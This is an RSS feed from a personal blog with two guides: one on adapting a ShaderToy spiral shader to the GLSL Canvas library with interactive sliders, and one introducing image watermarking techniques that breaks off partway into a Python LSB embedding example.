<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Michael Muratov</title><link>https://michaelmuratov.com/blog/artifacts/guides/</link><description>Recent content on Michael Muratov</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><atom:link href="https://michaelmuratov.com/blog/artifacts/guides/index.xml" rel="self" type="application/rss+xml"/><item><title>Shaders in GLSL Canvas</title><link>https://michaelmuratov.com/blog/artifacts/guides/shaders-glsl-canvas/</link><pubDate>Sun, 01 Jun 2025 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/shaders-glsl-canvas/</guid><description>&lt;script src="https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js"&gt;&lt;/script&gt;
&lt;h3 id="glsl-library"&gt;GLSL Library&lt;/h3&gt;
&lt;p&gt;GLSL Canvas is a library that allows you to run GLSL shaders in a web environment. It makes it easy to create interactive graphics and visualizations using shader language inside a canvas element with WebGL.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/patriciogonzalezvivo/glslCanvas"&gt;https://github.com/patriciogonzalezvivo/glslCanvas&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;/script&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="shadertoy---glsl-canvas"&gt;ShaderToy -&amp;gt; GLSL Canvas&lt;/h3&gt;
&lt;p&gt;The original shader we&amp;rsquo;ll be using was written for ShaderToy, which uses a specific set of uniforms and functions. In GLSL Canvas, we need to adapt the code to use the &lt;code&gt;u_time&lt;/code&gt; and &lt;code&gt;u_resolution&lt;/code&gt; uniforms provided by the library. The main function will also be adjusted to fit the GLSL Canvas structure.&lt;/p&gt;</description><content:encoded><![CDATA[<script src="https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js"></script>

<h3 id="glsl-library">GLSL Library</h3>
<p>GLSL Canvas is a library that allows you to run GLSL shaders in a web environment. It makes it easy to create interactive graphics and visualizations using shader language inside a canvas element with WebGL.</p>
<p><a href="https://github.com/patriciogonzalezvivo/glslCanvas">https://github.com/patriciogonzalezvivo/glslCanvas</a></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;</span><span class="nx">script</span> <span class="nx">src</span><span class="o">=</span><span class="s2">&#34;https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js&#34;</span><span class="o">&gt;&lt;</span><span class="err">/script&gt;</span></span></span></code></pre></div>
<h3 id="shadertoy---glsl-canvas">ShaderToy -&gt; GLSL Canvas</h3>
<p>The original shader we&rsquo;ll be using was written for ShaderToy, which uses a specific set of uniforms and functions. In GLSL Canvas, we need to adapt the code to use the <code>u_time</code> and <code>u_resolution</code> uniforms provided by the library. The main function will also be adjusted to fit the GLSL Canvas structure.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-glsl" data-lang="glsl"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#define iTime u_time</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#define iResolution vec3(u_resolution, 1.0)</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">uniform</span> <span class="k">float</span> <span class="n">u_time</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">uniform</span> <span class="k">vec2</span> <span class="n">u_resolution</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1">//Shadertoy fragment shader main function</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">void</span> <span class="n">mainImage</span><span class="p">(</span> <span class="k">out</span> <span class="k">vec4</span> <span class="n">fragColor</span><span class="p">,</span> <span class="k">in</span> <span class="k">vec2</span> <span class="n">fragCoord</span> <span class="p">);</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="c1">//GLSL Canvas main function</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">void</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">vec4</span> <span class="n">color</span> <span class="o">=</span> <span class="k">vec4</span><span class="p">(</span><span class="mf">0.0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">mainImage</span><span class="p">(</span><span class="n">color</span><span class="p">,</span> <span class="n">gl_FragCoord</span><span class="p">.</span><span class="n">xy</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="n">gl_FragColor</span> <span class="o">=</span> <span class="n">color</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="p">}</span></span></span></code></pre></div>
<h3 id="html-setup">HTML Setup</h3>
<p>To use GLSL Canvas, you need to include the library in your HTML file and create a canvas element where the shader will be rendered. Here&rsquo;s a simple setup:</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;https://cdn.jsdelivr.net/npm/glslCanvas@0.2.6/dist/GlslCanvas.min.js&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="p">&lt;</span><span class="nt">textarea</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;shaderEditor&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    {{ GLSL shader code here }}
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="p">&lt;/</span><span class="nt">textarea</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="p">&lt;</span><span class="nt">canvas</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;shaderCanvas&#34;</span> <span class="na">style</span><span class="o">=</span><span class="s">&#34;display:block; width:100%; height:500px;&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">canvas</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="kr">const</span> <span class="nx">canvas</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;shaderCanvas&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="kr">const</span> <span class="nx">sandbox</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">GlslCanvas</span><span class="p">(</span><span class="nx">canvas</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="kr">const</span> <span class="nx">editor</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;shaderEditor&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="kd">function</span> <span class="nx">resizeCanvasToCSSSize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="kr">const</span> <span class="nx">displayWidth</span> <span class="o">=</span> <span class="nx">canvas</span><span class="p">.</span><span class="nx">clientWidth</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="kr">const</span> <span class="nx">displayHeight</span> <span class="o">=</span> <span class="nx">canvas</span><span class="p">.</span><span class="nx">clientHeight</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="c1">// Only update if size changed
</span></span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">canvas</span><span class="p">.</span><span class="nx">width</span> <span class="o">!==</span> <span class="nx">displayWidth</span> <span class="o">||</span> <span class="nx">canvas</span><span class="p">.</span><span class="nx">height</span> <span class="o">!==</span> <span class="nx">displayHeight</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">      <span class="nx">canvas</span><span class="p">.</span><span class="nx">width</span> <span class="o">=</span> <span class="nx">displayWidth</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">      <span class="nx">canvas</span><span class="p">.</span><span class="nx">height</span> <span class="o">=</span> <span class="nx">displayHeight</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="c1">// Resize initially and on window resize
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="nx">resizeCanvasToCSSSize</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="nx">sandbox</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="nx">editor</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="nx">editor</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;input&#34;</span><span class="p">,</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="nx">sandbox</span><span class="p">.</span><span class="nx">load</span><span class="p">(</span><span class="nx">editor</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span></span></span></code></pre></div>
<h3 id="shader-spiral">Shader: Spiral</h3>
<p>You can edit the values in the textarea below to see how they affect the shader in real-time. The shader creates a colorful spiral effect that changes over time.</p>
<p>I recomend focusing on the <code>width</code>, <code>dis</code>, <code>blur</code>, <code>rep</code>, <code>mul</code>, and <code>ex</code> variables to see how they affect the spiral&rsquo;s appearance.</p>
<p>The <code>points</code> variable controls the number of points in the spiral.</p>
<textarea id="shaderEditor" width="100%" rows="10" cols="60" color="white" style="width: 100%; height: 500px; font-family: monospace; font-size: 0.82rem; background-color: #222; color: #fff; border: none; padding: 10px; resize: vertical;">
    
#ifdef GL_ES
precision mediump float;
#endif

#define iTime u_time
#define iResolution vec3(u_resolution, 1.0)
#define pallet(d) mix(vec3(0.2,0.7,0.9),vec3(1.,0.,1.),d)

uniform float u_time;
uniform vec2 u_resolution;

float width = 0.1;
float dis = 0.5;
float blur = 0.7;
float rep = 1.0;
float mul = 0.15;
float ex = 1.0;
float points = 5.0;

#define PI 3.14159
#define e  2.71828

// Radial UV from https://www.shadertoy.com/view/XdXXzf
vec2 radialUV(in vec2 uv)
{
    vec2 rUV = vec2(0.0);
    rUV.x = atan(uv.x, uv.y) * 0.159 &#43; 0.5;
    rUV.y = length(uv) * 0.6;
    
    return rUV * 2.0;
}

vec2 rotUV(in vec2 uv, in float angle) {
    float ru = uv.x*cos(angle) - uv.y*sin(angle);
    float rv = uv.x*sin(angle) &#43; uv.y*cos(angle);
    return vec2(ru, rv);
}

float timeCycle(float a, float m) {
    return sin((iTime &#43; a)*m);
}

float timeCycle01(float a, float m, float s) {
    return max((sin((iTime &#43; a)*m) &#43; 1.0)*0.5, s);
}

void mainImage( out vec4 fragColor, in vec2 fragCoord )
{
    vec2 uv  = (fragCoord-0.5*iResolution.xy)/iResolution.y;
    uv = rotUV(uv, -0.5*iTime);
    vec2 ruv = radialUV(uv);
    
    mul &#43;= timeCycle(0.0, 0.5) * 0.1;
    rep &#43;= timeCycle(1.5, 0.3) * 0.03;
    ex &#43;= timeCycle(0.3, 0.2) * 0.4; 
    width -= timeCycle01(0.5, 0.33, 0.0) * 0.05;

    float l = length(uv);
    float distIncrease = pow(distance(ruv.y, 0.0), ex) * mul;
    l &#43;= sin(ruv.x*(PI&#43;0.003)*points) * distIncrease;
   
    
    // Spiral based on https://www.shadertoy.com/view/WtjSWt
    float angle = atan(uv.y, uv.x);
    float offset = (log(l) / log(e*PI*rep) &#43; (angle / (2.0*PI)) * dis);
    float spiral = mod(offset - 0.5*iTime, dis);
    
    width *= pow(1.33-distance(ruv.y, 0.0), 4.0);
    float spiralR = smoothstep(spiral - blur*0.3, spiral, width) &#43; 
                    smoothstep(1.0-spiral - blur, 1.0-spiral, width);
             
    float spiralG = smoothstep(spiral - blur*timeCycle01(0.0, 0.33, 0.5), spiral, width) &#43; 
                    smoothstep(1.0-spiral - blur*timeCycle01(PI, 0.2, 0.5), 1.0-spiral, width);
             
    float spiralB = smoothstep(spiral - blur, spiral, width) &#43; 
                    smoothstep(1.0-spiral - blur*0.3, 1.0-spiral, width);
    
    vec3 col = vec3(spiralR, spiralG, spiralB);
    fragColor = vec4(col, 1.0);
}

void main() {
    vec4 color = vec4(0.0);
    mainImage(color, gl_FragCoord.xy);
    gl_FragColor = color;
}

</textarea>

<style>
    .grid-container {
      display: grid;
      grid-template-columns: repeat(2, 1fr);
      gap: 0.9rem;
      padding: 0.9rem;
      border: 1px solid var(--border);
      border-radius: var(--standard-border-radius);
      background: var(--accent-bg);
      margin: 0.8rem 0;
    }

    .slider-block {
      display: flex;
      flex-direction: column;
      align-items: start;
      gap: 0.35rem;
      padding: 0.5rem 0.6rem;
      border: 1px dashed color-mix(in srgb, var(--border) 75%, transparent);
      border-radius: var(--standard-border-radius);
      background: color-mix(in srgb, var(--accent-bg) 92%, var(--bg));
    }

    .slider-block input[type="range"] {
      width: 100%;
      appearance: none;
      -webkit-appearance: none;
      background: transparent;
      margin: 0.1rem 0 0;
    }

    .label-row {
      display: flex;
      justify-content: space-between;
      width: 100%;
      align-items: baseline;
      gap: 0.5rem;
    }

    .label-row h4 {
      margin: 0;
      font-size: 0.95rem;
      font-weight: 600;
      color: var(--text);
    }

    .slider-block span {
      font-size: 0.86rem;
      color: var(--text-light);
    }

    .slider-block input[type="range"]::-webkit-slider-runnable-track {
      height: 0.4rem;
      border-radius: 999px;
      background: color-mix(in srgb, var(--accent) 28%, var(--accent-bg));
      border: 1px solid color-mix(in srgb, var(--border) 85%, transparent);
    }

    .slider-block input[type="range"]::-webkit-slider-thumb {
      -webkit-appearance: none;
      width: 0.95rem;
      height: 0.95rem;
      margin-top: -0.33rem;
      border-radius: 50%;
      background: var(--accent);
      border: 1px solid var(--accent-hover);
      box-shadow: 0 0 0 2px var(--accent-bg);
      cursor: pointer;
    }

    .slider-block input[type="range"]::-moz-range-track {
      height: 0.4rem;
      border-radius: 999px;
      background: color-mix(in srgb, var(--accent) 28%, var(--accent-bg));
      border: 1px solid color-mix(in srgb, var(--border) 85%, transparent);
    }

    .slider-block input[type="range"]::-moz-range-thumb {
      width: 0.95rem;
      height: 0.95rem;
      border-radius: 50%;
      background: var(--accent);
      border: 1px solid var(--accent-hover);
      box-shadow: 0 0 0 2px var(--accent-bg);
      cursor: pointer;
    }

    .slider-block input[type="range"]:focus-visible {
      outline: none;
    }

    .slider-block input[type="range"]:focus-visible::-webkit-slider-thumb {
      box-shadow: 0 0 0 2px var(--accent-bg), 0 0 0 4px color-mix(in srgb, var(--accent) 35%, transparent);
    }

    .slider-block input[type="range"]:focus-visible::-moz-range-thumb {
      box-shadow: 0 0 0 2px var(--accent-bg), 0 0 0 4px color-mix(in srgb, var(--accent) 35%, transparent);
    }

    @media (max-width: 720px) {
      .grid-container {
        grid-template-columns: 1fr;
      }
    }
  </style>




<div class="grid-container">
  
  <div class="slider-block">
    <div class="label-row">
        <h4>Width</h4>
    </div>
    <input type="range" min="0.1" max="0.9" step="0.1" value="0.1" id="widthSlider" style="width:50%;">
    <span id="widthValue">0.1</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Distance</h4>
    </div>
    <input type="range" min="0.1" max="0.9" step="0.1" value="0.5" id="distanceSlider" style="width:50%;">
    <span id="distanceValue">0.5</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Blur</h4>
    </div>
    <input type="range" min="0.1" max="0.9" step="0.1" value="0.7" id="blurSlider" style="width:50%;">
    <span id="blurValue">0.7</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Repetition</h4>
    </div>
    <input type="range" min="0.1" max="0.9" step="0.1" value="1.0" id="repetitionSlider" style="width:50%;">
    <span id="repetitionValue">1.0</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Multiply</h4>
    </div>
    <input type="range" min="0.1" max="0.9" step="0.1" value="0.15" id="multiplySlider" style="width:50%;">
    <span id="multiplyValue">0.15</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Exponent</h4>
    </div>
    <input type="range" min="1" max="10" step="1" value="1" id="exponentSlider" style="width:50%;">
    <span id="exponentValue">1</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Points</h4>
    </div>
    <input type="range" min="0" max="10" step="1" value="5" id="pointsSlider" style="width:50%;">
    <span id="pointsValue">5</span>
  </div>
</div>



<canvas id="shaderCanvas" style="display:block; width:100%; height:500px;"></canvas>
<noscript>
  <p>This interactive shader demo requires JavaScript. The GLSL source code is shown above.</p>
</noscript>

<script>
const canvas = document.getElementById("shaderCanvas");
const editor = document.getElementById("shaderEditor");

const widthSlider = document.getElementById("widthSlider");
const distanceSlider = document.getElementById("distanceSlider");
const blurSlider = document.getElementById("blurSlider");
const repetitionSlider = document.getElementById("repetitionSlider");
const multiplySlider = document.getElementById("multiplySlider");
const exponentSlider = document.getElementById("exponentSlider");
const pointsSlider = document.getElementById("pointsSlider");

const widthValue = document.getElementById("widthValue");
const distanceValue = document.getElementById("distanceValue");
const blurValue = document.getElementById("blurValue");
const repetitionValue = document.getElementById("repetitionValue");
const multiplyValue = document.getElementById("multiplyValue");
const exponentValue = document.getElementById("exponentValue");
const pointsValue = document.getElementById("pointsValue");

if (!window.GlslCanvas) {
  console.error("GlslCanvas failed to load. Check CDN/network access.");
  canvas.outerHTML = '<p>Interactive shader preview is unavailable right now. The GLSL source code is still available above.</p>';
} else {
  const sandbox = new GlslCanvas(canvas);

function resizeCanvasToCSSSize() {
    const displayWidth = canvas.clientWidth;
    const displayHeight = canvas.clientHeight;

    
    if (canvas.width !== displayWidth || canvas.height !== displayHeight) {
      canvas.width = displayWidth;
      canvas.height = displayHeight;
    }
  }


resizeCanvasToCSSSize();
sandbox.load(editor.value);
editor.addEventListener("input", () => {
    sandbox.load(editor.value);
});

widthSlider.oninput = function () {
  widthValue.textContent = this.value;
  editor.value = editor.value.replace(/float width = [0-9]*\.[0-9]*/g, `float width = ${this.value}`);
  sandbox.load(editor.value);
}

distanceSlider.oninput = function () {
  distanceValue.textContent = this.value;
  editor.value = editor.value.replace(/float dis = [0-9]*\.[0-9]*/g, `float dis = ${this.value}`);
  sandbox.load(editor.value);
}

blurSlider.oninput = function () {
  blurValue.textContent = this.value;
  editor.value = editor.value.replace(/float blur = [0-9]*\.[0-9]*/g, `float blur = ${this.value}`);
  sandbox.load(editor.value);
}

repetitionSlider.oninput = function () {
  repetitionValue.textContent = this.value;
  editor.value = editor.value.replace(/float rep = [0-9]*\.[0-9]*/g, `float rep = ${this.value}`);
  sandbox.load(editor.value);
}

multiplySlider.oninput = function () {
  multiplyValue.textContent = this.value;
  editor.value = editor.value.replace(/float mul = [0-9]*\.[0-9]*/g, `float mul = ${this.value}`);
  sandbox.load(editor.value);
}

exponentSlider.oninput = function () {
  exponentValue.textContent = this.value;
  editor.value = editor.value.replace(/float ex = [0-9]*/g, `float ex = ${this.value}`);
  sandbox.load(editor.value);
}

pointsSlider.oninput = function () {
  pointsValue.textContent = this.value;
  editor.value = editor.value.replace(/float points = [0-9]*/g, `float points = ${this.value}`);
  sandbox.load(editor.value);
}
}

</script>

<h3 id="original-shader">Original Shader</h3>
<p><a href="https://www.shadertoy.com/view/Wct3zX">https://www.shadertoy.com/view/Wct3zX</a></p>
]]></content:encoded></item><item><title>Intro to Image Watermarking</title><link>https://michaelmuratov.com/blog/artifacts/guides/intro-image-watermarking/</link><pubDate>Sun, 25 May 2025 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/intro-image-watermarking/</guid><description>&lt;h3 id="intro-to-image-watermarking"&gt;Intro to Image Watermarking&lt;/h3&gt;
&lt;p&gt;Watermarking is a technique used to embed information into an image, which can be used for various purposes such as copyright protection, authentication, or non-repudiation. In this guide, we will explore the basics of image watermarking and how you can implement it in your projects.&lt;/p&gt;
&lt;h4 id="why-use-watermarking"&gt;Why Use Watermarking?&lt;/h4&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition task"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"&gt;&lt;path d="M152.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 113C-2.3 103.6-2.3 88.4 7 79s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM224 96c0-17.7 14.3-32 32-32l224 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-224 0c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32l224 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-224 0c-17.7 0-32-14.3-32-32zM160 416c0-17.7 14.3-32 32-32l288 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-288 0c-17.7 0-32-14.3-32-32zM48 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"/&gt;&lt;/svg&gt;
&lt;span&gt;Watermarking serves several purposes:&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;strong&gt;Copyright protection:&lt;/strong&gt;&lt;br&gt;
Watermarks can help protect your images from unauthorized use by clearly indicating ownership.&lt;/p&gt;</description><content:encoded><![CDATA[<h3 id="intro-to-image-watermarking">Intro to Image Watermarking</h3>
<p>Watermarking is a technique used to embed information into an image, which can be used for various purposes such as copyright protection, authentication, or non-repudiation. In this guide, we will explore the basics of image watermarking and how you can implement it in your projects.</p>
<h4 id="why-use-watermarking">Why Use Watermarking?</h4>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition task">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M152.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 113C-2.3 103.6-2.3 88.4 7 79s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM224 96c0-17.7 14.3-32 32-32l224 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-224 0c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32l224 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-224 0c-17.7 0-32-14.3-32-32zM160 416c0-17.7 14.3-32 32-32l288 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-288 0c-17.7 0-32-14.3-32-32zM48 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"/></svg>
      <span>Watermarking serves several purposes:</span>
    </div>
      <div class="admonition-content">
        <p><strong>Copyright protection:</strong><br>
Watermarks can help protect your images from unauthorized use by clearly indicating ownership.</p>
<p><strong>Authentication:</strong><br>
Watermarks can be used to verify the authenticity of an image, ensuring that it has not been tampered with.</p>
<p><strong>Branding:</strong><br>
Adding a logo or signature to your images can help promote your brand and increase recognition.</p>
<p><strong>Non-repudiation:</strong><br>
Watermarks can provide proof of ownership or authorship, making it difficult for others to deny their use of the image.</p>
      </div>
  </div><h4 id="basic-techniques-for-watermarking">Basic Techniques for Watermarking</h4>
<h5 id="1-visible-watermarking">1. Visible Watermarking</h5>
<p>One of the simplest methods of watermarking is to alter the pixel values of an image. This is usually done for copyright protection or branding purposes. The watermark can be a logo, text, or any other image that is blended with the original image. This type of watermarking is immediately noticeable and can be readily removed by someone with image editing skills, but it serves as a visible deterrent against unauthorized use.</p>

<div><img src="shutterstock_watermark.jpg" 
		 class="img-preset img-preset-md img-fluid" alt="Prompting Flow">
</div>

<h5 id="2-least-significant-bit-lsb-insertion">2. Least Significant Bit (LSB) Insertion</h5>
<p>Least significant bit insertion is a subset of steganography where a hidden message is imbedded into an image to bypass detection. The simplest method involves modifying the least significant bits (LSBs) of pixel values, which allows for a more robust and imperceptible watermark.</p>

<div><img src="lsb.png" 
		 class="img-preset img-preset-md">
</div>

<h5 id="3-frequency-domain-manipulation">3. Frequency Domain Manipulation</h5>
<p>This method involves transforming the image into the frequency domain using techniques like the Discrete Cosine Transform (DCT) or Discrete Wavelet Transform (DWT). Watermarks can then be embedded in the frequency coefficients, which are not visible to the human eye.</p>
<p>These techniques are more complex but provide better security and robustness against attacks such as cropping, resizing, or compression. We will cover the DWT in a more advanced quide.</p>

<div><img src="dwt.png" 
		 class="img-preset img-preset-md img-fluid">

	<figcaption style="margin:0px;" class="figure-caption">
		https://www.intechopen.com/chapters/18615
	</figcaption>
</div>

<h3 id="least-significant-bit-watermarking">Least Significant Bit Watermarking</h3>
<p>To implement the simplest form of invisible watermarking in your images, you can use the cv2 library in Python to read in the image and modify the last bits of each pixel.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">cv2</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">def</span> <span class="nf">embed_lsb</span><span class="p">(</span><span class="n">image_path</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="n">output_path</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="n">image</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="n">image_path</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="n">flat</span> <span class="o">=</span> <span class="n">image</span><span class="o">.</span><span class="n">flatten</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="c1"># Convert message to binary</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">bits</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="nb">format</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="s1">&#39;08b&#39;</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">message</span><span class="p">])</span> <span class="o">+</span> <span class="s1">&#39;00000000&#39;</span>  <span class="c1"># Null terminator</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">bits</span><span class="p">)):</span>
